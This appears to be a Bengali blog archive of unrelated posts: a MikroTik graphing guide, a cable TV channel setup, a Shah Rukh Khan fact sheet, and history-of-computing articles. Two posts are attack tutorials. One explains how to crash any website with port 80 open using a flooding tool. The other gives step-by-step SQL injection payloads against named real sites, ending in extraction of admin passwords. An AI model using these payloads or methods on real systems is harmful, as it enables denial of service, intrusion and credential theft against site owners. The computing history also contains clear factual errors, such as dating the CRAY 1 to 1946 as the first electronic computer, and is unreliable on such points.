MRTG Graph:

Mikrotik Router এ Built-in একটি graphing system রয়েছে। এই গ্রাফ এর মাধ্যমে আপনি কোন নির্দিষ্ট অথবা সকল ইন্টারফেস কিংবা queue এর Bandwidth usage দেখতে পারেন। কোন দিনে কোন queue বা কোন ইন্টারফেস কত Upload or Download করেছে তা গ্রাফ দেখে বুঝতে পারবেন। তবে যখন থেকে গ্রাফ চালু করবেন কেবলমাত্র তখন থেকেই Bandwidth এর পরিসংখ্যান গুলি পাওয়া যাবে।
Graph চালু করতে Tools>graphing এ ক্লিক করুন। যদি ইন্টারফেস সমূহের গ্রাফ চালু করতে চান তাহলে Interface Rules এ ক্লিক করুন। এরপর Add (+) এ ক্লিক করুন। যদি কোন নির্দিষ্ট ইন্টারফেস এর গ্রাফ দেখতে চান তাহলে তা সিলেক্ট করে দিন ইন্টারফেস Field থেকে। আর যদি সকল ইন্টারফেস এর গ্রাফ দেখতে চান তাহলে “All” সিলেক্ট করুন। আপনি যদি চান এই গ্রাফ সমূহ শুধুমাত্র নির্দিষ্ট কোন আইপি অথবা আইপি ব্লক থেকে দেখা যাবে তাহলে তা Allow address এর ঘরে উল্লেখ করুন। আর যদি মনে করেন ইন্টারনেট এর সব জায়গা থেকেই দেখা যাবে তাহলে Allow address এর ঘরে 0.0.0.0/0 অপরিবর্তিত রাখুন। সবশেষে Apply>OK করুন।
যদি মনে করেন আপনার তৈরিকৃত queues সমূহের গ্রাফ দেখবেন তাহলে Queue Rules এ ক্লিক করুন। তারপর উপরের পন্থা অবলম্বন করুন।

গ্রাফ দেখবেন কিভাবে?

আপনার তৈরিকৃত গ্রাফসমূহ আপনার Mikrotik Router এ store হয়। সুতরাং গ্রাফ দেখতে চাইলে আপনার Mikrotik এ এন্ট্রি দেওয়া আইপি কে ব্রাউজার দিয়ে browse করুন। তবে যদি আপনার নেটওয়ার্ক এর বাহিরে থেকেও দেখতে চান সেক্ষেত্রে আপনার Mikrotik এ একটি Static Real IP এন্ট্রি থাকা প্রয়োজন। ধরে নেওয়া যাক আপনার Mikrotik Router এর WAN Side এ একটি Static Real IP এন্ট্রি করা আছে। তাহলে যেকোনো ব্রাউজার এ ওই আইপি টি কে browse করুন। এরপর Mikrotik Router এর একটি পেজ ওপেন হবে এইখান থেকে Graph সিলেক্ট করুন। এখন আপনার তৈরিকৃত গ্রাফ সমূহের
একটি লিস্ট শো করবে। যার উপর ক্লিক করলে আপনি বিস্তারিত দেখতে পারবেন।

তবে Mikrotik Router এর Built-in Graphing system টি এখনো খুব একটা নির্ভরযোগ্য নয়। প্রকৃত Bandwidth usage এই গ্রাফ দেখে নির্ণয় করা সম্ভব নয়। ভাল হয় যদি আপনারা গ্রাফ এর জন্য আলাদা কোন Server ব্যাবহার করেন। যেমন- Cacti.

তৈরি করুন নিজের ভিডিও চ্যানেল (ক্যাবল টিভি অপারেটরদের জন্য)

2013-01-23T00:52:00.001+06:00

আপনি যদি একজন ক্যাবল টিভি অপারেটর হন তাহলে অবশ্যই আপনার কন্ট্রলরুম থেকে ভি, সি, ডি প্লোয়ারের মাধ্যমে আলাদা একটি ভিডিও চ্যানেল প্রচার করেন। এখন আমরা দেখবো কিভাবে কম্পিউটার এর মাধ্যমে আপনার এই ভিডিও চ্যানেলটি কে আর সুন্দর করে সম্প্রচার করতে পারেন। পাশাপাশি কিভাবে বিজ্ঞাপন প্রচার করার নিয়ম । তো চলুন দেখেনেই একটি অটোমোডেড ভিডিও চ্যানেল কিভাবে প্রচার করবেন আপনার ক্যাবল টিভি নেটওয়ার্কে। যে সব উপকরণ লাগাবে
হার্ডওয়্যার-

কম্পিউটার যার থাকবে সর্বনিন্ন Dual Core processor, 1G RAM, 250 GB HDD.
AGP card with TV output দুই ধরনের AGP কার্ড আপনি ব্যবহার করতে পারেন-

AGP card with DVI & S-Video output.এই ধরনের কার্ড ব্যবহার করলে আপনাকে একটি S-Video to AV converter ক্যাবল ব্যবহার করতে হবে কারণ ডিশ লাইনের মডুল্যাটর গুলো সরাসরি S-Video input নেয় না। S-Video to
AV converter ক্যাবল দেখতে এমন হতে পারে।
ক্যাবলের হলুদ জ্যাকটি আপনার মডুল্যাটরের Video input এ লাগাবেন।

AGP card with AV output. এ ধরনের কার্ড থেকে আপনি সরাসরি মডুল্যাটরের জন্য ভিডিও আউটপুট পাবেন। এ ক্ষেত্রে আপনাকে AV ক্যাবল ব্যবহার করতে হবে। AV ক্যাবল দেখতে এরকম হতেপারে।
ক্যাবলের হলুদ জ্যাকটি আপনার মডুল্যাটরের Video input এ লাগাবেন।

এছাড়া বাজারে VGA to AV/S-Vodeo converter পাওয়া যার যা আপনি কম্পিউটার থেকে মডুল্যাটরে ভিডিও Input এর জন্য ব্যবহার করতে পারেন। এটি দেখতে এমন হতেপারে

VGA Converter

Sound card আপনি চাইলে মাদারবোর্ডে সাথে বিল্টইন Sound card -ই ব্যবহার করতেপারেন বা আলাদা লাগিয়ে নিতে পারেন। কম্পিউটার থেকে মডুল্যাটরে সাউন্ড নিতে আপনি Audio to AV ক্যাবল ব্যবহার করবেন। যা দেখতে এরকম হতেপারে

Audio to AV cable

মডুল্যাটর - আপনার ডিস কন্ট্রলরুমে যে মডুল্যাটর রয়েছে সেটিই আপনি ব্যবহার করতে পারবেন। তবে স ফিল্টার সহ মডুল্যাটর হলে ভালো ভিডিও কোয়ালিটি পাবেন।

Cable TV Modulator
সফট্‌ওয়্যার-

আপারেটিং সিস্টেম - Windows XP or Windows7
A/V Broadcast System for Cable TV এইটিই আপনার চ্যানেলের জন্য মূল ব্রডকাস্ট সফট্‌ওয়্যার। যার সাহায্যে আপনার চ্যানেলের সম্প্রচার নিমন্ত্রণ হবে। এ সম্পর্কে বিস্তারিত বর্ণনা করা হবে। সফট্‌ওয়্যারটির ডোম আপনারা http://www.skytouch-software.com থেকে ডাইনলোড করতে পারবেন।

Screenshot of A/V Broadcast System for Cable TV

আনান্য সফট্‌ওয়্যার KLight codec pack, Flash player 10, Windows Media player 11, WinDVD player ইত্যাদি।

A/V Broadcast System for Cable TV সফট্‌ওয়্যারটি নিয়ে টিউটিরিয়াল পরবর্তিতে প্রকাশ করা হবে
Click here to download A/V Broadcast System for Cable TV

Website crash by RDOS

2013-01-23T00:36:00.001+06:00

আমরা অনেকেই চাই যে হ্যাকারহতে । কিন্তু নিজেকে সামনে বসিয়ে প্রশ্ন করুন তো যে তুমি কি যান? যাই হোক মুল কথায় আসি । আজ শেখাবো কিভাবে ছোটখাটো ওয়েব সাইট হ্যাক করতে হয় । প্রথমেঃ
1.Port scaner . http://www.mediafire.com/?sharekey=7fcc5e5c82ff2dcbe62ea590dc5e5dbbe04e75f6e8ebb871
2.RDOS. http://www.mediafire.com/?sharekey=7fcc5e5c82ff2dcbe62ea590dc5e5dbbe04e75f6e8ebb871 ডাউনলোড করুন ।
এবার আপনি যে সাইট টি ক্রাসকরতে চান । সেটার আইপি আপনাকে জানতে হবে ।
আপনি কিজানেন কি করে আইপি বের করতেহয়? যদি না জানেন তাহলে নিচের নিয়ম ফলো করুন :
Run -> cmd -> এবার কমান্ড প্রোমটে নিচের কোড টা দিন:
Ping http://www.site.com এবার ওই সাইটের আইপি পাবেন । এবার দেখতে হবে PORT 80 খোলা আছে কি না । port scaner টা ওপেন করে আইপি দিয়ে দেখুন PORT 80 খোলা আছে কি না । যদি না থাকে তাহলে অন্য সাইট দেখুন । আর থাকলে নিচের নিয়ম ফলো করুন :
RDOS ওপেন করুন । প্রথমে যে আইপিটা পেয়েছিলেন সেটা দিন । যদি PORT 80 খোলা না থাকে তাহলেকাজ করবে না । Click to. [{(Flooding)}] ব্যাস সাইট টি ক্রাস হয়ে গেলো । তবে সাইটটি নষ্ট হবেনা । আপনি মাঝে মাঝে এমন করলে কিছু দিন সাইটের র্সাভার কাজ করবে না । পোস্টি দ্বারা কারো ক্ষতি হলে আমি দায়ি থাকবো না । মুল লিন্কটা : http://www.techtunes.com.bd/hacking/tune-id/178669

Hack a Website

2013-01-11T21:21:00.003+06:00

SQL Inj3cti0n কি ?
সহজ ভাষায় বলতে গেলে SQL Inj3cti0n হলো এমন একটি code inj3cti0n কৌশল যা কোনো সাইটের ডাটাবেজের সিকিউরিটি কে ভেঙ্গে তা থেকে ইনফরমেশন বের করতে পারে।
যে কোনো সাইটে SQL Inj3cti0n করা যাবে ?
না। SQL Inj3cti0n তখনি কাজ করবে যখন কোনো সাইটে SQL error থাকবে।
কোনো সাইটে SQL error আছে কি নেই তা বুজবো কিভাবে ?
যেই সব সাইটে id=value থাকে ধরুন
http://www.site.com/news.php?id=5
সাধারণত এই সব সাইটে SQL error থাকে। কোনো সাইটে SQL error এভাবেই দেখাবে না, error দেখার জন্য আপনাকে url এর শেষে একটি ‘(string) দিতে হবে।
উদাহরণঃ http://www.bayviewhotelni.com/news.php?id=3 এটি হচ্ছে আসল লিঙ্ক, এই লিঙ্কে যখন আপনি ব্রাউজারে লোড করবেন তখন কোনো error আসবে না। যখন আপনি url এর শেষে একটি ‘(string) দিবেন তখন ঠিকই error আসবে।
http://www.bayviewhotelni.com/news.php?id=3′
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”3”’ at line 1
অথবা অনেক সময় দেখতে পারবেন যখন ‘ বসিয়েছেন তখন সাইটে যদি কোনো ছবি/ডাটা মিস করে তাহলে ও অই সাইটে SQL error আছে।
অর্থাৎ বোঝা গেলো এই সাইটে SQL error আছে। তাই আমরা এই সাইটটি কে SQL Inj3cti0n করেন হ্যাক করতে পারবো।
কিভাবে SQL inj3ction করবো কোনো সাইটকে ?
প্রথমে আমরা মজিলাতে একটি এডন ইন্সটল করবো যার নাম হচ্ছে HaCkBar. এই এডনটি ব্যবহার করলে কিছু কমান্ড দিতে সহজ হয়।
ডাউনলোড করে নিন এখান থেকে : https://addons.mozilla.org/en-us/firefox/addon/hackbar/
ইন্সটল করার পরেই দেখবেন আপনার ব্রাউজারে এডনটি দেখা যাচ্ছে।
সাইটের মোট কলাম নাম্বার বের করার নিয়ম :-
আপনি যখন SQL error কোনো সাইটকে SQL Inj3cti0n করতে যাবেন তখন আপনার প্রথম কাজ হবে সাইটের ডাটাবেজে মোট কয়টি কলাম আছে তা বের করা। আর বের করার পদ্ধতি হলো order by কমান্ড।
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 1–
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 2–
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 3–
এভাবে যেতে থাকবেন যতক্ষণ পর্যন্ত কোনো Err0r না আসে।

http://www.sparkleappealdorset.org/supporter.php?id=7 order by 11–
দিলে কিছু লিখা অদৃশ্য হয়ে যায় অর্থাৎ এই সাইটটিতে মোট 10 টি কলাম আছে।

Vulnerable কলাম বের করার নিয়ম :-
এখন আমাদের দেখতে হবে এই সাইটের ১০ টি কলামের মধ্যে কতটি কলাম vulnerable. যেই সব কলাম vulnerable সেই সব কলাম থেকেই ডাটাবেজ এর ইনফরমেশন বের করা যাবে। আমরা Union Select কমান্ড ব্যবহার করে সাইটের vulnerable কলাম গুলা বের করবো।
প্রথমে union select তারপরে যে কইটি কলাম সে কলাম গুলা ঠিক এভাবে বসাতে হবে। আর id=value er আগে একটি – চিহ্ন বসাতে হবে যেমন- http://www.sparkleappealdorset.org/supporter.php?id=-7
http://www.sparkleappealdorset.org/supporter.php?id=-7 UNION SELECT 1,2,3,4,5,6,7,8,9,10–

ডাটাবেজ ভার্শন বের করার নিয়ম:-
যে কোনো একটি vulnerable কলামে আমরা SQL কমান্ড বসাবো যাতে আমরা ডাটাবেজের ইনফরমেশন বের করতে পারি। কোনো সাইটের ডাটাবেজ এর ভার্শন যদি 4 হয় তাহলে তা ম্যানুয়ালি inj3ct করা যাবে না। তখন টুলস ব্যবহার করতে হবে like havij । আর যদি 5 হয় তাহলে আমরা ম্যানুয়ালি inj3ct করতে পারবো।
এই সাইটটিতে অনেক গুলা vulnerable কলাম আমাদের যে কোনো একটিকে বাছাই করে নিতে হবে।
ধরি আমরা ২ নাম্বার কলাম থেকে ডাটাবেজ ভার্শন বের করবো।
তাহলে syntax টি হবে
http://www.sparkleappealdorset.org/supporter.php?id=-7 UNION SELECT 1,version(),3,4,5,6,7,8,9,10–
vulnerable কলামে version() রিপ্লেস করলেই ডাটাবেজের ভার্শন চলে আসবে।

ডাটাবেজ থেকে টেবিল বের করার নিয়ম :-
vulnerable কলামের জাগায় group_concat(table_name) এবং এক দম শেষ কলামের পরে from information_schema.tables where table_schema=database()–
তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()–

যে টেবিল গুলো আমরা পেলাম তা হলো event,galleryImage,login_admin,supporter
এখানে এডমিন টেবিল হচ্ছে login_admin, এই টেবিল থেকে আমরা এডমিনের ইউসার এবং পাসওয়ার্ড বের করবো।
এডমিন টেবিল থেকে ইউজার এবং পাসওয়ার্ড বের করার নিয়ম :-

vulnerable কলামের জাগায় group_concat(column_name) এবং এক দম শেষ কলামের পরে from information_schema.columns where table_name=0xএডমিন টেবিল নামের হেক্স কোড–

তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6c6f67696e5f61646d696e–

এডমিন ইউসার এবং পাসওয়ার্ড বের করার নিয়ম :-
vulnerable কলামের জাগায় concat{যে কলাম গুলো পেয়েছেন সে গুলো(সব গুলো কলাম নয় সুধু মাত্র ইউসার এবং পাসওয়ার্ড এর কলাম)} এবং এক দম শেষ কলামের পরে কোন টেবিল থেকে এই কলাম পেয়েছেন সেই টেবিলের নাম।
http://www.sparkleappealdorset.org/supporter.php?id=-7 UNION SELECT 1,concat(uid,0x3a,pwd),3,4,5,6,7,8,9,10 from login_admin–

বাস পেয়ে গেলেন সাইটের এডমিন পাসওয়ার্ড । এখন পুরো সাইটি আপনার হাতে যা খুশি তাই করুন। তবে মারাত্মক কোনো ক্ষতি না করাই ভালো। সহজেই হয়ে গেলেন একজন ওয়েব হ্যাকার :P
কিছু কথাঃ এই টপিকটা সহজভাবে বোঝানোর চেস্টা করেছি তাই ভাল লাগলে অবশ্যই ধন্যবাদ জানাবেন xD
বিঃদ্রঃ এই পোস্টটির কপিরাইট সম্পূর্ণ সংরক্ষিত এবং বাংলাদেশ সাইবার আর্মি এর অনুমতি ছাড়া আর কোথাও এটা লিখা/পোস্ট করা যাবে না।

Shahrukh Khan- The King

2013-01-11T21:07:00.000+06:00

Shahrukh Khan

Alternate Names Sharukh, Shaahrukh, Shahruk, Khan, Kan, King Khan, Baadshah
Profession: Actor
Hair: Black
Height: 5'10
Birth Date: 2nd of November, 1965
Education: From St. Columbia High School In New Delhi.
Graduation: Hansraj College, Delhi University
Masters in Mass Communication from Jamiya Miliya Islamiya, New Delhi.
Qualifications and Achievements High school
Graduation: Masters; A Brilliant Student
Sword of Honour to the most outstanding student
The Ravi Subramani award
The Sujit Memorial award
He captained all teams in football, hockey, and cricket
He was also good in dramatics
Very good in hindi, Electronics, Biology
He was a king in Electronics
He still remembers the books he studied from.
ShahRukh Khan's Nickname King Khan
ShahRukh Khan's Wife Gauri ChibberKhan who graduated from Modern school, Barakhamba Road, New Delhi
ShahRukh Khan's Kids
Son Aryan and daughter Suhana
Happiest Moments
When he got married and when he got his first Filmfare Award
Historical figure he identifies with : Genghis Khan, Hitler and Napolean
Favourite actors: Amitabh Bachan, Dilip Kumar, Rishi Kapoor, Aamir Khan, Akshay Kumar
Favorite male co-stars: Sanjay Dutt, Anil Kapoor, Jackie Shroff and Salman Khan
Favorite Films: His favourite film in which he has acted is 'Kabhi Haan Kabhi Naa'
Favorite female co-stars: Juhi Chawla, Madhuri Dixit, and Kajol
Favorite Food Tandoori Chicken
One wordphrase he uses regularly: "Lets do it!"
If he were to be reborn he'd like to come back as Gauri and have a husband like ShahRukh! Or a singer
Interests: Computer games
Pet Chewbecca ( a dog)
ShahRukh Khan's Father Taj Khan-Died 1981 with cancer
Father's occupation Lawyer and freedom fighter
ShahRukh Khan's Mother Died 1991 while Shah Rukh had gone out to get her medicine
Mother's occupation Magistrate and social worker
ShahRukh Khan's Sister Shehnaz Lalarukh
Address Mannat, Band Stand, Bandra (West), Mumbai 400050, India

History of Computing

2013-01-07T21:20:00.002+06:00

History of Computing
Definition of a Computer - before 1935, a computer was a person who performed arithmetic calculations. Between 1935 and 1945 the definition referred to a machine, rather than a person. The modern machine definition is based on von Neumann's concepts: a device that accepts input, processes data, stores data, and produces output. We have gone from the vacuum tube to the transistor, to the microchip. Then the microchip started talking to the modem. Now we exchange text, sound, photos and movies in a digital environment.
Computing milestones and machine evolution:

14th C. - Abacus - an instrument for performing calculations by sliding counters along rods or in grooves (graphic: Merriam Webster Collegiate Dictionary http://www.m-w.com/mw/art/abacus.htm)

17th C. - Slide rule - a manual device used for calculation that consists in its simple form of a ruler and a movable middle piece which are graduated with similar logarithmic scales (Picture from the The Museum of HP Calculators)

1642 - Pascaline--a mechanical calculator built by Blaise Pascal, a 17th century mathematician, for whom the Pascal computer programming language was named .

1804 - Jacquard loom - a loom programmed with punched cards invented by Joseph Marie Jacquard

ca 1850 - Difference Engine , Analytical Engine - Charles Babbage and Ada Byron (See her picture.). Babbage's description, in 1837, of the Analytical Engine, a hand cranked, mechanical digital computer anticipated virtually every aspect of present-day computers. It wasn't until over a 100 years later that another all purpose computer was conceived. Sketch of the Engine and notes by Ada Byron King, Countess of Lovelace.

1939 -1942 - Atanasoff Berry Computer - built at Iowa State by Prof. John V. Atanasoff and graduate student Clifford Berry. Represented several "firsts" in computing, including a binary system of of arithmetic, parallel processing, regenerative memory, separation of memory and computing functions, and more. Weighed 750 lbs. and had a memory storage of 3,000 bits (0.4K). Recorded numbers by scorching marks into cards as it worked through a problem. See diagram.

1940s - Colossus - a vacuum tube computing machine which broke Hitler's codes during WW II. It was instrumental in helping Turing break the German's codes during WW II to turn the tide of the war. In the summer of 1939, a small group of scholars became codebreakers, working at Bletchley Part in England. This group of pioneering codebreakers helped shorten the war and changed the course of history. See the the Bletchley Park Web site and its history. See more information on Codes and Ciphers in the Second World War at Tony Sales' site.

1946 - ENIAC - World's first electronic, large scale, general-purpose computer, built by Mauchly and Eckert, and activated at the University of Pennsylvania in 1946. ENIAC recreated on a modern computer chip. See an explanation of ENIAC on a Chip by the Moore School of Electrical Engineering, University of Pennsylvania. The ENIAC is a 30 ton machine that measured 50 x 30 feet. It contained 19,000 vacuum tubes, 6000 switches, and could add 5,000 numbers in a second, a remarkable accomplishment at the time. A reprogrammable machine, the ENIAC performed initial calculations for the H-bomb. It was also used to prepare artillery shell trajectory tables and perform other military and scientific calculations. Since there was no software to reprogram the computer, people had to rewire it to get it to perform different functions. The human programmers had to read wiring diagrams and know what each switch did. J. Presper Eckert, Jr. and John W. Mauchly drew on Alansoff's work to create the ENIAC, the Electronic Numerical Integrator and Computer.

1951-1959 - vacuum tube based technology. Vacuum Tubes are electronic devices, consisting of a glass or steel vacuum envelope and two or more electrodes between which electrons can move freely. First commercial computers used vacuum tubes: Univac, IBM 701.

1950s -1960s - UNIVAC - "punch card technology" The first commercially successful computer, introduced in 1951 by Remington Rand. Over 40 systems were sold. Its memory was made of mercury filled acoustic delay lines that held 1,000 12 digit numbers. It used magnetic tapes that stored 1MB of data at a density of 128 cpi. UNIVAC became synonymous with computer (for a while). See UNIVAC photo . See UNIVAC flow chart

1960 IBM 1620 - See photos at The Computer History Museum.

1960-1968 - transistor based technology. The transistor, invented in 1948, by Dr. John Bardeen, Dr. Walter Brattain, and Dr. William Shockley . It almost completely replaced the vacuum tube because of its reduced cost, weight, and power consumption and its higher reliability. See explanation and diagram of a transistor and what the first transistor looked like. The transistor is made to alter its state from a starting condition of conductivity (switched 'on', full current flow) to a final condition of insulation (switched 'off', no current flow).

1969 - The Internet, originally the ARPAnet (Advanced Research Projects Agency network), began as a military computer network.

1969-1977 - integrated circuits (IC) based technology. The first integrated circuit was demonstrated by Texas Instruments inventor, Jack Kilby, in 1958. It was 7/16" wide and contained two transistors. Examples of early integrated circuit technology: Intel 4004, Dec pdp 8, CRAY 1 (1976) - a 75MHz, 64-bit machine with a peak speed of 160 megaflops, (One million floating point operations per second) the world's fastest processor at that time. Now circuits may contain hundreds of thousands of transistors on a small piece of material, which revolutionized computing. Here is a diagram of a modern integrated circuit, known as a chip.

1976 - CRAY 1 - The world's first electronic digital computer, developed in 1946. A 75MHz, 64-bit machine with a peak speed of 160 megaflops, (one million floating point operations per second) the world's fastest processor at that time.

1976 - Apples/MACs - The Apple was designed by Steve Wozniak and Steve Jobs. Apple was the first to have a "windows" type graphical interface and the computer mouse. Like modern computers, early Apples had a peripheral keyboard and mouse, and had a floppy drive that held 3.5" disks.The Macintosh replaced the Apple. See a picture of the The Apple III (1980 - 1985).

1978 to 1986 - large scale integration (LSI); Alto - early workstation with mouse; Apple, designed by Steve Wozniak and Steve Jobs. Apple was the first to have a "windows" type graphical interface and the computer mouse. See Apple/MACs evolution over time. The PC and clone market begins to expand. This begins first mass market of desktop computers.

1986 to today - the age of the networked computing, the Internet, and the WWW.

1990 - Tim Berners-Lee invented the networked hypertext system called the World Wide Web.

1992 - Bill Gates' Microsoft Corp. released Windows 3.1, an operating system that made IBM and IBM-compatible PCs more user-friendly by integrating a graphical user interface into the software. In replacing the old Windows command-line system, however, Microsoft created a program similar to the Macintosh operating system. Apple sued for copyright infringement, but Microsoft prevailed. Windows 3.1 went to Win 95, then Win 98, now Windows XP .... (There are other OSs, of course, but Windows is the dominant OS today. MACs, by Apple, still have a faithful following. Linux has a faithful following.

1995 - large commercial Internet service providers (ISPs), such as MCI, Sprint , AOL and UUNET, began offering service to large number of customers.

1996 - Personal Digital Assistants (such as the Palm Pilot became available to consumers. They can do numeric calculations, play games and music and download information from the Internet. See How Stuff Works for a history and details.

History of computing

2013-01-07T21:19:00.001+06:00

History of Computing (Early BC)

Before 15,000,000,000,000 BC

The Universal computer boots up with a Big Bang, everything that was has now become or will be.

However, every time scientists discover new phenomena or get new instruments and new mathematical knowledge the age of the universe will again be in dispute.

300,000 BC

In the beginning, mankind may not have had any idea of numerical units.

Possessions had to be portable, since they had to be carried around. Everything that could not be carried, was left behind. People had to be quick in movement and reaction; being slow meant instant death.

Animals were not the stuffy types we keep in zoos nowadays. They were bigger, fast as lightning and regarded a human just as another piece of juicy meat. And there were no gates or anything to keep them back. Reasons for humans tended not to carry too much around for their own safety. One could safely say that the need to count or calculate was not present since possessions were scarce and little.

on this stamp an Egyptian is shown counting with his fingers

But when mankind started to settle they began gathering possessions. They surely could tell you that there were less or more objects of, let's say, apples when apples were added or taken away. Could one presume that they were visualizing the form (pile of apples) and estimated the size, to have an idea of quantities? Was their way to tell something was missing or added through observing that the form of the pile had changed? When the pile of apples had become bigger, some apples were added. The bigger the image they had in memory the more they had. Or at least this seems to be a logical explanation of humans interfacing with their environment. As time progressed, people migrated from a nomadic hunter-gatherer lifestyle into a domestic lifestyle. Occupied pieces of land and started farming. Hunting still took place but out from a permanent camp site. The number of humans grew and they specialized in professions: shoemakers, farmers, blacksmiths. In time wealth and other things started to accumulate and volumes became larger. Methods of visualizing quantities are of course very subjective, the need for better means of telling quantities and at the same time keeping track of them, increased. And as always the means were invented or improved upon when needed.

50,000 BC to 20,000 BC

The first tools used for calculation aids were almost certainly man's own fingers, and it is no coincidence that the Latin word "digit" is used to refer to a finger (or toe) as well as a numerical quantity.

As the needed to represent larger numbers grows, early man employed readily available materials for the purpose. Small stones or pebbles were used to represent larger numbers than fingers and toes, that had the added advantage of easily storing intermediate results for later use. Thus, it is no coincidence that the word "calculate" was derived from the Latin word for pebble: calculus.

Carving Notches Into Bones app. 30.000 BC

bones carved app 25.000 (pictures taken by THOCF 2003 at the Deutsches Museum in Munich, Germany) the carving areas are digitally enhanced

The oldest known objects used to represent numbers were bones with notches carved into them, see picture above.

These bones, which were discovered in western Europe, date from the Aurignacian period 20,000 to 30,000 years ago and correspond to the first appearance of Cro-Magnon man. (Named "Cro-Magnon" after the caves of the same name in Southern France, in which the first skeletons of this race was found in 1868.). Of special interest is a wolf's jawbone more than 20,000 years old with fifty-five notches in groups of five, which was discovered in Czechoslovakia in 1937. This is the first evidence of the tally system, which is still used occasionally to the present day and could therefore qualify as one of the most enduring of human inventions.

8500 BC

Also of interest was a piece of bone dating from around 8,500 BC, discovered in Africa, that appeared to have notches representing the prime numbers 11, 13, 17, and 19.

Prime numbers are those numbers that are only wholly divisible by the number one and themselves, so it is not surprising that early man would have attributed them with a special significance. Surprising was that someone of that era had the mathematical sophistication to recognize this quite advanced concept and took the trouble to write it down -- not the least because prime numbers had little relevance to everyday problems of gathering food and staying alive.

Many artifacts are found that support the idea that mankind used very different means to keep track of numerical data, amounts, numbers and possessions. These artifacts are sometimes tens of thousands of years old.

		tally bones			abacus
quipa				cuneiform app 4000-1200bc
			abax
			abax			Napier bones
	More details can be found in the various sections; just click the hyperlink and use the back button of your browser to return here.

So far for the artifacts. Yes, they were helpful. But as the quality of life improved, in different parts of the world people started to question themselves and wondered if there was more behind the clouds. And the need for knowledge grew. Scientists of all breeds and colors stepped forward and came with many new findings, inventions and facts of life.

6000 BC

In the Indian Vedah compiled at least before 6000 BC a verse (Richa) mentions the numerals of 12 (dwawash), 2 (treemi), and 300 (trishat).

That was one of the earliest recordings of a decimal numeral system. The use of the zero also proved that a 10 based positional numeric system was in use at that time.

It is open to speculation how long before this date the decimal system, inclusive the zero, was invented.

And, it still leaves us with the question: "who or what people invented the zero?”

Also note: around 600 AD the first recorded instance of calculations with a zero appeared.

Ishango bone type of tally stick in use.

5500 BC

picture courtesy mathworld.wolfram.com

Mathematics in Egypt is based on the fractional system.

A fine illustration of this is found in the eye of Horus. An egyptian deity of this time. The fractional units were used to represent the fractions of hekat (appr. 4.8 liters), the unit measure of capacity for grains.

See also below at 1850 BC for a riddle in this type of calculus

5000 BC

The Abax (latin), or Abaq (Sumeric), giving the general idea of an Algorithmic Unit (ALU) of a computer, is coming in use in the far east. Abaq or Abax stands for dust. Thus using the Abax or Abaq meant writing in dust.

The Abax serves as a means to calculate, it is a flat stone or wooden tabletop in which are carved straight lines. Calculations are done using little pebbles, and it is assumed that the various pebbles represent different values. In much later times (approximately 800 AD), the Abax showed up in Europe.

4000 B.C.

Inhabitants of the first known civilization in Sumer keep records of commercial transactions on clay tablets.

3200 BC

The first human to actually record numbers in a storage medium may have been a Sumerian accountant.

He lived somewhere in the lower Mesopotamian river valley about 3200 BC using the sexagesimal numbering system based on the numbers 6 and 10. The discovery of arithmetic brought the Sumerian tangible benefits including the ability to numerically model the products of their economy, and their commerce grew making Mesopotamia the creator of Western civilization.

Positional number system used in Mesopotamia.

3000 BC

Early form of beads on wires, used in China

The Abacus is described for the first time in Babylon.

An improved version is coming into use around 1300 BC and is still in use now on the Balkan and Asia.

Just to show how well the abacus is keeping up: in app. 1950 AD, a contest between man and machine took place and a well trained human still beat the fastest electronic computer of that day by doing arithmetic on his Abacus.

In 3000BC the Hindus culture flourished and large numbers were used (inscriptions).

2500 BC

The Egyptians came up with the idea of a thinking machine. Citizens went to the "Oracles": statues in which priests were hidden who communicated via orifices with the people putting questions to the oracles. This idea was copied in the 18th century when a smart designer hid a chess player in a so-called "automatic chess playing machine".

2400 BC

Babylonians use the abacus and approximate pi as 3 1/8.

2000 BC

Chinese writing system is developed. It was codified around 1500 BC

From the middle of 2000 BC Indo-European tribes were making their way from the N. W. towards India.

They introduced Sanskrit - earliest knowledge of maths dates from this time.

+/-1900 BC

Stonehenge is still a mystery today. Was it a calendar or "just" a place for spiritual events? Do you want to know more?

1850 BC

In the Rhind Papyrus written by, or copied as he states himself, the Egyptian scribe Ahmes stated that p = 256/81 app. 3.160… The scroll was purchased in Egypt by the Egyptologist Rhind in 1858 and is now in the British museum of Art.

This scroll contained more than a definition of PI. The Ahmes papyrus contained a set of 84 mathematical problems and their solutions. Although no hint is given how these solutions were arrived at, it gave us an insight into the mathematical knowledge of the early Egyptians.

The Rhind papyrus showed that early Egyptian mathematics was largely based on puzzle type problems. For example the papyrus contained the following puzzle.

Seven houses contain seven cats. Each cat kills seven mice. Each mouse had eaten seven ears of grain. Each ear of grain would have produced seven hekats of wheat. What is the total of all of these

1800 BC

A well developed additive number system is now in use in Egypt

1438 BC

The first Water clock known is possibly constructed in Egypt.

One of the oldest was found in the tomb of Amenhotep I, buried around 1500 B.C. Others were built in China (1086 by Su Sung, a working model can be seen in action in Manor Museum UK), Korea (architect: Chang Yeong Shil, 1438, can still be seen at Kyeong Bok Gung.), and in Syria (700 BC). Greece (ca. 5th century BC ) Some examples are shown below.

Replica of water clock by Su Sung ca. 1086 (courtesy Manor House)

Chinese water clock by Su Sung

www.ph.ed.ac.uk

Clepsydra. A unique example of the terra-cotta water clocks used for counting time of speeches in the public law courts. Dated to the 5th century BC

~1350

The Chinese use of a precision of one decimal is registered.

In that the Chinese were calculating beyond the precision of whole numbers and started to divide the numbers in parts e.g. fractions.

1300 BC

Direct evidence exists as to the Chinese using a positional number system.

800 BC

I-Chin exhibits binary properties.

600 BC

In this century Pythagoras rediscovered the theorem: the sum of the squares of the sides of a right triangle equals the square of the hypotenuse.

The so-called Pythagorean triples were already known in Babylonian times

Abacus used in Greece

Major developments start to take place in Chinese arithmetic.

550 BC

Pythagoras is credited for a theorem known to the Chinese a thousand years earlier.

When his student Hippasus rediscovered irrational numbers, Pythagoras, believing the universe to be strictly rational, acts contrarily and has the student drowned for heresy.

500 BC

The first known description of a binary numeral system was made by Pingala

